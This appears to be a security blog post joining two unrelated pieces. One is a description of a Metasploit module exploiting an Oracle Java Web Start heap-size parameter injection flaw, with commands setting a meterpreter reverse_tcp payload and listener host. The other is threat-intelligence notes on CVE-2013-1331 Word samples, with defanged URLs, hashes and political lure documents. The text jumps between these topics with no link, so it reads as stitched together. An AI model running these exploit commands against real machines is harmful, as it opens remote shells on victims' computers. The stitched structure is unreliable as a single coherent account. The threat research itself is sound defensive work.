Oracle Java SE Critical Patch Update Advisory – October 2012
Rh0 Pastebin

Affected version(s) :

JSE 7 Update 7 and before
JSE 6 Update 35 and before

Tested on Windows XP Pro with :

JSE 7 Update 7

Description :

This module exploits a flaw in the Web Start component of the Oracle Java Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP file can contain a double quote which is not properly sanitized when creating the command line for javaw.exe. This allows the injection of the -XXaltjvm option to load a jvm.dll from a remote UNC path into the java process. Thus an attacker can execute arbitrary code in the context of a browser user. This flaw was fixed in Oct. 2012 and affects JSE 6 Update 35 and before, and JSE 7 Update 7 and before. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing a jvm.dll can be specified with an own SMB server.

Commands :

use exploit/windows/browser/java_ws_double_quote
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36

Information Gathering on “www.bridginglinks.com“

Like “No Frill Space“, “BRIDGING LINKS” is a hosting company offering free web spaces. The company web site was still up, regarding WayBack Machine, the May 21th 2013. “www.bridginglinks.com” was hosted on 85.17.143.51 located in Netherlands.

If we take a look on urlQuery, we can see a submission dating of April 4th 2013, mentioning an interesting URL “hXXp://www.bridginglinks.com/somebody/4698/vw.php“. As you can see the path is the same as the path mentioned by Microsoft. “vw.php” could be one of the file used to avoid multiple times exploitation.

Joe Sandbox is also referencing Report 1482, no more available, that refer a URL “hXXp://www.bridginglinks.com/somebody/4688/vw.php?i=b95146-8a76c6cb7d84148d95ab5a4921b3839c” and a name of a Word document “virus_suspected.doc“. Associated MD5 of the document is “714876fdce62371da08c139377f23d76“, was submitted March 3th 2013, with a file size of 113.0 KB.

With the MD5 we can found a VirusTotal sample. Creation date of this document was February 25th 2013. Title of the document is “VN h?c gì t? v? Philippines ki?n TQ” that seem to be Vietnamese and could be translated to “VN learn from China’s conditions for Philippines“.

Document title seem to be related to the events of beginning of this year between China and Philippines regarding territory conflicts.

CVE-2013-1331-sample

@mwtracker also submitted a sample on Cryptam June 13th 2013.

Update of June 16th 2013

After doing some further investigations we noticed another Word sample (f85eaad502e51eafeae0430e56899d9b) submitted to VirusTotal October 28th 2009 and that has a creation date of October 26th 2009. A re-submission of this sample clearly detect CVE-2013-1331 !

By analyzing this sample title of the document is “The corruption of Mahathir” from autor “585“. “The corruption of Mahathir” document is a reference to Mahathir Mohamad a Malaysian politician who was the fourth Prime Minister of Malaysia, and the document is an adaptation of a Bangkok Post article to remind people how the country has been damaged by Dr M, UMNO and his cronies.

My personal opinion is that:

  • I can clearly confirm that the zero-day was exploited in the wild since minimum February 2013 October 2009
  • the campaign was active since a while and has surely target other victims than previously thought.

I will keep you in touch with additional information’s.
